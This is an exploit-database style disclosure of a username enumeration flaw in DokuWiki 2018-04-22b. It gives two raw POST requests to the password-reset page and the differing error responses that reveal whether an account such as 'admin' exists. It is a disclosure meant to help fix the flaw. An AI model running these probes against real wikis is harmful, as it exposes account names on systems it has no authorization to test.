Dokuwiki 2018-04-22b Username Enumeration

`# Exploit Title: Dokuwiki 2018-04-22b - Username Enumeration  
# Date: 2019-12-01  
# Exploit Author: Talha ŞEN  
# Vendor Homepage: https://www.dokuwiki.org/dokuwiki  
# Software Link: https://download.dokuwiki.org/  
# Version: 2018-04-22b "Greebo"  
# Tested on:   
# Alpine Linux 3.5 (docker image)  
# PHP 5.6.30  
# Apache/2.4.25 (Unix)  
# CVE :   
  
# At login page there is a "set new password" page as below:  
# Forgotten your password? Get a new one: Set new password  
# At this page there is username enumeration vulnerability.  
# Testing for non-valid user:  
  
POST /doku.php?id=start&do=resendpwd HTTP/1.1  
  
sectok=&do=resendpwd&save=1&login=sss  
  
# Response for non-valid user(sss):  
  
<div class="error">Sorry, we can't find this user in our database.</div>  
  
========================================================================  
  
# Testing for valid user:  
  
POST /doku.php?id=start&do=resendpwd HTTP/1.1  
  
sectok=&do=resendpwd&save=1&login=admin  
  
# Response for valid user (admin):  
  
<div class="error">There was an unexpected problem communicating with SMTP: Could not open SMTP Port.</div>  
<div class="error">Looks like there was an error on sending the password mail. Please contact the admin!</div>  
`